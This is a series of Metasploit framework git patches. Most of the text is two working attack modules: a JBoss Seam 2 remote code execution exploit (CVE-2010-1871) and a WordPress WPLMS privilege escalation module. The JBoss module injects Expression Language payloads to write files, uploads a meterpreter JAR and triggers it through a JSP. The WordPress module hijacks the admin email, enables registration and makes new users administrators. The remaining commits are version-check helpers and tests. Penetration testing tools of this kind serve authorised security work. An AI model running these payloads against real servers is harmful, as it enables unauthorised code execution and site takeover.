command_line [String] lpCommandLine + # @param max_length [Integer] The max command length of the respective + # CreateProcess function + # + # @raise [ArgumentError] If the command_line is too large + # + # @return [True] True if the command_line is within the correct bounds + # def check_command_length(application_name, command_line, max_length) if application_name.nil? && command_line.nil? raise ArgumentError, 'Both application_name and command_line are nil' From c2d15f2b3193c45d4d6017ac9433366516001444 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 21:05:00 +0000 Subject: [PATCH 016/279] Add yarddoc note about handles --- lib/msf/core/post/windows/runas.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index f2d1a34a4f..de572ee446 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -74,6 +74,9 @@ module Msf::Post::Windows::Runas # Call CreateProcessWithLogonW to start a process with the supplier # user credentials # + # @note The caller should clear up the handles returned in + # the PROCESS_INFORMATION @return hash. + # # @param domain [String] The target user domain # @param user [String] The target user # @param password [String] The target user password From 81fa509b5005708abedf16b95e67a8997356e06b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 21:10:31 +0000 Subject: [PATCH 017/279] Only clean up handles if process started --- modules/post/windows/manage/run_as.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 50195b8d0f..6d0e91b431 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -102,9 +102,8 @@ class Metasploit3 < Msf::Post # execute command and get output with a poor mans pipe if priv_check print_status("Executing CreateProcessAsUserA...we are SYSTEM") - begin - pi = create_process_as_user(domain, user, password, nil, cmdstr) - ensure + pi = create_process_as_user(domain, user, password, nil, cmdstr) + if pi session.railgun.kernel32.CloseHandle(pi[:process_handle]) session.railgun.kernel32.CloseHandle(pi[:thread_handle]) end From a19a5328f15987a4a820cae2e9e66ee38f5307d1 Mon Sep 17 00:00:00 2001 From: vulp1n3 Date: Tue, 17 Feb 2015 17:25:01 -0800 Subject: [PATCH 018/279] Add JBoss Seam 2 upload execute module Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute a meterpreter payload. CVE-2010-1871 --- .../multi/http/jboss_seam_upload_exec.rb | 311 ++++++++++++++++++ 1 file changed, 311 insertions(+) create mode 100644 modules/exploits/multi/http/jboss_seam_upload_exec.rb diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb new file mode 100644 index 0000000000..d1d89cfe50 --- /dev/null +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -0,0 +1,311 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::FileDropper + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'JBoss Seam 2 File Upload and Execute', + 'Description' => %q{ + Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly + sanitize inputs to some JBoss Expression Language expressions. As a + result, attackers can gain remote code execution through the + application server. This module leverages RCE to upload and execute + a meterpreter payload. + + Versions of the JBoss AS admin-console are known to be vulnerable to + this exploit, without requiring authentication. Tested against + JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. + + This module provides a more efficient method of exploitation - it + does not loop to find desired Java classes and methods. + + NOTE: the check for upload success is not 100% accurate. + NOTE 2: The module uploads the meterpreter JAR and a JSP to launch + it. + + }, + 'Author' => [ 'vulp1n3 ' ], + 'References' => + [ + # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs + ['CVE', '2010-1871'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], + ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], + ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] + ], + 'DisclosureDate' => "Nov 30 2010", + 'License' => MSF_LICENSE, + 'Platform' => %w{ java }, + 'Targets' => + [ + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), + OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), + OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), + OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), + OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), + OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), + ], self.class) + end + + + def check + vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + vprint_debug("Server sent a 302 with location") + if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) + report_vuln({ + :host => rhost, + :port => rport, + :name => "#{self.name} - #{uri}", + :refs => self.references, + :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." + }) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Unknown + end + + # If we reach this point, we didn't find the service + return Exploit::CheckCode::Unknown + end + + + def execute_cmd(cmd) + cmd_to_run = Rex::Text.uri_encode(cmd) + vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) + vprint_status("#{rhost}:#{rport} Exploit successful") + else + vprint_status("#{rhost}:#{rport} Exploit failed.") + end + else + vprint_status("#{rhost}:#{rport} Exploit failed.") + end + end + + + def call_jsp(jspname) + # TODO ugly way to strip off last resource on a path + uri = target_uri.path + *keep,ignore = uri.split(/\//) + keep.push(jspname) + uri = keep.join("/") + uri = "/" + uri if (uri[0] != "/") + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 200) + vprint_status("Successful request to JSP") + else + vprint_error("Failed to request JSP") + end + end + + + def upload_jsp(filename,jarname) + jsp_text = <<%@ page import="java.net.*" +%><% +URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); +Class c = cl.loadClass("metasploit.Payload"); +c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); +%> +EOJSP + vprint_status("Uploading JSP to launch payload") + status = upload_file_chunk(filename,'false',jsp_text) + if status + vprint_status("JSP uploaded to to #{filename}") + else + vprint_error("Failed to upload file.") + end + + @pl_sent = true + end + + + def upload_file_chunk(filename, append='false', chunk) + # create URL-safe Base64-encoded version of chunk + b64 = Rex::Text.encode_base64(chunk) + b64 = b64.gsub("+","%2b") + b64 = b64.gsub("/","%2f") + + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + # TODO Including the conversationId part in this regex might cause + # failure on other Seam applications. Needs more testing + if (res.headers['Location'] =~ %r(user=&conversationId)) + #vprint_status("#{rhost}:#{rport} Exploit successful.") + return true + else + #vprint_status("#{rhost}:#{rport} Exploit failed.") + return false + end + else + #vprint_status("#{rhost}:#{rport} Exploit failed.") + return false + end + end + + + def get_full_path(filename) + #vprint_debug("Trying to find full path for #{filename}") + + uri = target_uri.path + res = send_request_cgi( + { + 'uri' => normalize_uri(uri), + 'method' => 'POST', + 'ctype' => datastore['CTYPE'], + 'agent' => datastore['AGENT'], + 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" + }, timeout=datastore['TIMEOUT']) + if (res and res.code == 302 and res.headers['Location']) + # the user argument should be set to the result of our call - which + # will be the full path of our file + matches = /.*user=(.+)\&.*/.match(res.headers['Location']) + #vprint_debug("Location is " + res.headers['Location']) + if (matches and matches.captures) + return Rex::Text::uri_decode(matches.captures[0]) + else + return nil + end + else + return nil + end + end + + + def java_stager(fname, chunk_size) + @payload_exe = fname + ".jar" + jsp_name = fname + ".jsp" + + #data = payload.encoded_jar.pack + data = payload.encoded_jar.pack + + append = 'false' + while (data.length > chunk_size) + status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) + if status + vprint_debug("Uploaded chunk") + else + vprint_error("Failed to upload chunk") + break + end + data = data[chunk_size, data.length - chunk_size] + # first chunk is an overwrite, afterwards, we need to append + append = 'true' + end + status = upload_file_chunk(@payload_exe, 'true', data) + if status + vprint_status("Payload uploaded to " + @payload_exe) + else + vprint_error("Failed to upload file.") + end + + # write a JSP that can call the payload in the jar + upload_jsp(jsp_name, @payload_exe) + + pe_path = get_full_path(@payload_exe) || @payload_exe + jsp_path = get_full_path(jsp_name) || jsp_name + # try to clean up our stuff; + register_files_for_cleanup(pe_path, jsp_path) + + # call the JSP to launch the payload + call_jsp(jsp_name) + end + + def exploit + @pl_sent = false + + if check == Exploit::CheckCode::Vulnerable + + fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) + + vprint_status("#{rhost}:#{rport} Host is vulnerable") + vprint_status("#{rhost}:#{rport} Uploading file...") + + # chunking code based on struts_code_exec_exception_delegator + append = 'false' + chunk_size = datastore['CHUNKSIZE'] + # sanity check + if (chunk_size <= 0) + vprint_error("Invalid chunk size #{chunk_size}") + return + end + + vprint_debug("Sending in chunks of #{chunk_size}") + + case target['Platform'] + when 'java' + java_stager(fname, chunk_size) + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + handler + end + end +end + From 69b37976c116b724d702b42561c74cba10d3ee0d Mon Sep 17 00:00:00 2001 From: vulp1n3 Date: Tue, 17 Feb 2015 17:29:52 -0800 Subject: [PATCH 019/279] Fix disclosure date. --- modules/exploits/multi/http/jboss_seam_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb index d1d89cfe50..2949aaecea 100644 --- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], - 'DisclosureDate' => "Nov 30 2010", + 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform' => %w{ java }, 'Targets' => From 3d38d46729b531cc2eb34de6ec029da2b3cc87e6 Mon Sep 17 00:00:00 2001 From: rastating Date: Wed, 18 Feb 2015 12:28:23 +0000 Subject: [PATCH 020/279] Add extra version checking methods Added the ability to check style.css for theme versions as version tagging in style.css is a requirement of WordPress theme development. Also updated existing readme checking to allow for a nil fixed_version parameter in scenarios where all versions are vulnerable in an EOL product. --- lib/msf/http/wordpress/version.rb | 89 +++++++++++++++++++++++++++---- 1 file changed, 79 insertions(+), 10 deletions(-) diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index f9b0c131be..be4123b022 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -43,22 +43,79 @@ module Msf::HTTP::Wordpress::Version # Checks a readme for a vulnerable version # # @param [String] plugin_name The name of the plugin - # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] fixed_version Optional, the version the vulnerability was fixed in # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # # @return [ Msf::Exploit::CheckCode ] - def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil) + def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil) check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version) end + # Checks the style.css file for a vulnerable version + # + # @param [String] theme_name The name of the theme + # @param [String] fixed_version Optional, the version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil) + style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css') + res = send_request_cgi( + 'uri' => style_uri, + 'method' => 'GET' + ) + + # No style.css file present + return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + # Try to extract version from style.css + # Example line: + # Version: 1.5.2 + version = res.body.to_s[/(?:Version):\s*([0-9a-z.-]+)/i, 1] + + # style.css present, but no version number + return Msf::Exploit::CheckCode::Detected if version.nil? + + vprint_status("#{peer} - Found version #{version} of the theme") + + if fixed_version.nil? + if vuln_introduced_version.nil? + # All versions are vulnerable + return Msf::Exploit::CheckCode::Appears + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + # Newer or equal to the version it was introduced + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + else + # Version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if vuln_introduced_version.nil? + # All previous versions are vulnerable + return Msf::Exploit::CheckCode::Appears + # vuln_introduced_version provided, check if version is newer + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + return Msf::Exploit::CheckCode::Appears + else + # Not in range, nut vulnerable + return Msf::Exploit::CheckCode::Safe + end + # version newer than fixed version + else + return Msf::Exploit::CheckCode::Safe + end + end + end + # Checks a readme for a vulnerable version # # @param [String] theme_name The name of the theme - # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] fixed_version Optional, the version the vulnerability was fixed in # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # # @return [ Msf::Exploit::CheckCode ] - def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil) + def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil) check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version) end @@ -114,21 +171,33 @@ module Msf::HTTP::Wordpress::Version vprint_status("#{peer} - Found version #{version} of the #{type}") - # Version older than fixed version - if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if fixed_version.nil? if vuln_introduced_version.nil? # All versions are vulnerable return Msf::Exploit::CheckCode::Appears - # vuln_introduced_version provided, check if version is newer elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + # Newer or equal to the version it was introduced return Msf::Exploit::CheckCode::Appears else - # Not in range, nut vulnerable return Msf::Exploit::CheckCode::Safe end - # version newer than fixed version else - return Msf::Exploit::CheckCode::Safe + # Version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if vuln_introduced_version.nil? + # All versions are vulnerable + return Msf::Exploit::CheckCode::Appears + # vuln_introduced_version provided, check if version is newer + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + return Msf::Exploit::CheckCode::Appears + else + # Not in range, nut vulnerable + return Msf::Exploit::CheckCode::Safe + end + # version newer than fixed version + else + return Msf::Exploit::CheckCode::Safe + end end end end From 31cdd757f672f8c44c5d345e785c5428ff1baa9d Mon Sep 17 00:00:00 2001 From: rastating Date: Wed, 18 Feb 2015 15:08:25 +0000 Subject: [PATCH 021/279] Add WordPress WPLMS privilege escalation module --- .../http/wp_wplms_privilege_escalation.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb new file mode 100644 index 0000000000..3b28a4f5fe --- /dev/null +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WPLMS Theme Privilege Escalation', + 'Description' => %q{ + The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of + any user level to set any system option via a lack of validation in the import_data function + of /includes/func.php. + + The module first changes the admin e-mail address to prevent any + notifications being sent to the actual administrator during the attack, re-enables user + registration in case it has been disabled and sets the default role to be administrator. + This will allow for the user to create a new account with admin privileges via the default + registration page found at /wp-login.php?action=register. + }, + 'Author' => + [ + 'Evex', # Vulnerability discovery + 'Rob Carr ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['WPVDB', '7785'] + ], + 'DisclosureDate' => 'Feb 09 2015' + )) + + register_options( + [ + OptString.new('USERNAME', [false, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with']) + ], self.class) + end + + def check + check_theme_version_from_style('wplms', '1.8.4.2', '1.5.2') + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def php_serialize(value) + # Only strings and numbers are required by this module + case value + when String, Symbol + "s:#{value.bytesize}:\"#{value}\";" + when Fixnum + "i:#{value};" + end + end + + def serialize_and_encode(value) + serialized_value = php_serialize(value) + unless serialized_value.nil? + Rex::Text.encode_base64(serialized_value) + end + end + + def set_wp_option(name, value, cookie) + encoded_value = serialize_and_encode(value) + if encoded_value.nil? + vprint_error("#{peer} - Failed to serialize #{value}.") + else + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'import_data' }, + 'vars_post' => { 'name' => name, 'code' => encoded_value }, + 'cookie' => cookie + ) + + if res.nil? + vprint_error("#{peer} - No response from the target.") + else + vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200 + end + + return res + end + end + + def run + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("#{peer} - Authenticated with WordPress") + + new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" + print_status("#{peer} - Changing admin e-mail address to #{new_email}...") + if set_wp_option('admin_email', new_email, cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') + end + + print_status("#{peer} - Enabling user registrations...") + if set_wp_option('users_can_register', 1, cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') + end + + print_status("#{peer} - Setting the default user role...") + if set_wp_option('default_role', 'administrator', cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') + end + + register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') + print_good("#{peer} - Privilege escalation complete") + print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") + end +end From 37a55cce742542ef36f593ac92f39c36937f021d Mon Sep 17 00:00:00 2001 From: rastating Date: Wed, 18 Feb 2015 16:59:06 +0000 Subject: [PATCH 022/279] Abstracted version comparison code --- lib/msf/http/wordpress/version.rb | 107 ++++++++++-------- .../http/wp_wplms_privilege_escalation.rb | 2 +- 2 files changed, 61 insertions(+), 48 deletions(-) diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index be4123b022..db123f58f1 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -68,44 +68,7 @@ module Msf::HTTP::Wordpress::Version # No style.css file present return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 - # Try to extract version from style.css - # Example line: - # Version: 1.5.2 - version = res.body.to_s[/(?:Version):\s*([0-9a-z.-]+)/i, 1] - - # style.css present, but no version number - return Msf::Exploit::CheckCode::Detected if version.nil? - - vprint_status("#{peer} - Found version #{version} of the theme") - - if fixed_version.nil? - if vuln_introduced_version.nil? - # All versions are vulnerable - return Msf::Exploit::CheckCode::Appears - elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) - # Newer or equal to the version it was introduced - return Msf::Exploit::CheckCode::Appears - else - return Msf::Exploit::CheckCode::Safe - end - else - # Version older than fixed version - if Gem::Version.new(version) < Gem::Version.new(fixed_version) - if vuln_introduced_version.nil? - # All previous versions are vulnerable - return Msf::Exploit::CheckCode::Appears - # vuln_introduced_version provided, check if version is newer - elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) - return Msf::Exploit::CheckCode::Appears - else - # Not in range, nut vulnerable - return Msf::Exploit::CheckCode::Safe - end - # version newer than fixed version - else - return Msf::Exploit::CheckCode::Safe - end - end + return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version) end # Checks a readme for a vulnerable version @@ -156,20 +119,70 @@ module Msf::HTTP::Wordpress::Version 'uri' => readme_url, 'method' => 'GET' ) - - # no Readme.txt present - return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 end - # try to extract version from readme - # Example line: - # Stable tag: 2.6.6 - version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] + if res.nil? || res.code != 200 + # No readme.txt or Readme.txt present for plugin + return Msf::Exploit::CheckCode::Unknown if type == :plugin - # readme present, but no version number + # Try again using the style.css file + return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme + end + + version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) + if version_res == Msf::Exploit::CheckCode::Detected && type == :theme + # If no version could be found in readme.txt for a theme, try style.css + return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) + else + return version_res + end + end + + def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil) + case type + when :readme + # Try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] + when :style + # Try to extract version from style.css + # Example line: + # Version: 1.5.2 + version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1] + else + fail("Unknown file type #{type}") + end + + version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) + if version_res == Msf::Exploit::CheckCode::Detected && type == :theme + # If no version could be found in readme.txt for a theme, try style.css + return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) + else + return version_res + end + end + + def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil) + case type + when :readme + # Try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] + when :style + # Try to extract version from style.css + # Example line: + # Version: 1.5.2 + version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1] + else + fail("Unknown file type #{type}") + end + + # Could not identify version number return Msf::Exploit::CheckCode::Detected if version.nil? - vprint_status("#{peer} - Found version #{version} of the #{type}") + vprint_status("#{peer} - Found version #{version} of the #{item_type}") if fixed_version.nil? if vuln_introduced_version.nil? diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb index 3b28a4f5fe..456564114e 100644 --- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary end def check - check_theme_version_from_style('wplms', '1.8.4.2', '1.5.2') + check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2') end def username From 61bdd58fbe5a628e8eeefffd64953a9654b24ff7 Mon Sep 17 00:00:00 2001 From: rastating Date: Sat, 21 Feb 2015 01:33:42 +0000 Subject: [PATCH 023/279] Fix required flag on options --- modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb index 456564114e..51315bc6af 100644 --- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('USERNAME', [false, 'The WordPress username to authenticate with']), - OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with']) + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ], self.class) end From 06cb30a20a8949cb8e11115892fbf2cd5ec9a294 Mon Sep 17 00:00:00 2001 From: rastating Date: Tue, 24 Feb 2015 22:43:59 +0000 Subject: [PATCH 024/279] Remove duplicated code --- lib/msf/http/wordpress/version.rb | 25 ------------------------- 1 file changed, 25 deletions(-) diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index db123f58f1..d3967de0cb 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -138,31 +138,6 @@ module Msf::HTTP::Wordpress::Version end end - def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil) - case type - when :readme - # Try to extract version from readme - # Example line: - # Stable tag: 2.6.6 - version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] - when :style - # Try to extract version from style.css - # Example line: - # Version: 1.5.2 - version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1] - else - fail("Unknown file type #{type}") - end - - version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) - if version_res == Msf::Exploit::CheckCode::Detected && type == :theme - # If no version could be found in readme.txt for a theme, try style.css - return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) - else - return version_res - end - end - def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil) case type when :readme From 3669fb678d120e0e2b1892c2dbca400b7e54a78a Mon Sep 17 00:00:00 2001 From: rastating Date: Thu, 26 Feb 2015 21:15:33 +0000 Subject: [PATCH 025/279] Fix parameter default value --- lib/msf/http/wordpress/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index d3967de0cb..c3a19b86a5 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -97,7 +97,7 @@ module Msf::HTTP::Wordpress::Version nil end - def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil) + def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil) case type when :plugin folder = 'plugins' From 00c4d704f2160e7dff434861f9d4b53d0dec788e Mon Sep 17 00:00:00 2001 From: rastating Date: Thu, 26 Feb 2015 21:18:51 +0000 Subject: [PATCH 026/279] Update rspec to include new functionality Added a new test for testing when all versions of a plugin are vulnerable and added tests for checking theme versions from the style.css file --- spec/lib/msf/http/wordpress/version_spec.rb | 91 +++++++++++++++++++++ 1 file changed, 91 insertions(+) diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/http/wordpress/version_spec.rb index 9b14190967..6aeebfd397 100644 --- a/spec/lib/msf/http/wordpress/version_spec.rb +++ b/spec/lib/msf/http/wordpress/version_spec.rb @@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } end + context 'when all versions are vulnerable' do + let(:wp_code) { 200 } + let(:wp_body) { 'Stable tag: 1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to 